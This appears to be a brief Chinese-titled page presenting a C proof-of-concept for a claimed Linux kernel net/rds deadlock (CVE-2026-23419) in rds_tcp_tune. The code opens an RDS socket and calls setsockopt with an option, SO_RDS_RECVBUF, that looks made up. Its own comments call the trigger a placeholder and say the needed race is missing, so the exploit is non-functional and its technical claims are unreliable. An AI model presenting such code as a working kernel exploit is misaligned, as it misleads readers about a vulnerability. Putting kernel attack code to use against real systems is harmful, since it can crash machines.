CVE-2026-23419 Linux内核net/rds死锁漏洞

/* * PoC for CVE-2026-23419 * This code attempts to trigger the deadlock in rds_tcp_tune. * It creates an RDS socket and sets options to trigger the tuning path. * Compile: gcc -o poc_rds poc_rds.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/rds.h> int main() { int sockfd; // Create an RDS socket over TCP sockfd = socket(AF_RDS, SOCK_SEQPACKET, 0); if (sockfd < 0) { perror("socket"); return 1; } printf("[+] RDS Socket created. Triggering rds_tcp_tune...\n"); // Attempt to trigger socket options that lead to rds_tcp_tune // The exact option depends on kernel configuration, but typically involves buffer sizes or cong settings. int val = 1024; // This is a placeholder for the specific syscall sequence that hits rds_tcp_tune // while holding the lock and forcing a memory upgrade. if (setsockopt(sockfd, SOL_RDS, SO_RDS_RECVBUF, &val, sizeof(val)) < 0) { perror("setsockopt"); // Not critical for PoC demonstration as the trigger might be internal } // In a real exploit scenario, concurrent operations would be needed to // race for the fs_reclaim lock. sleep(1); close(sockfd); return 0; }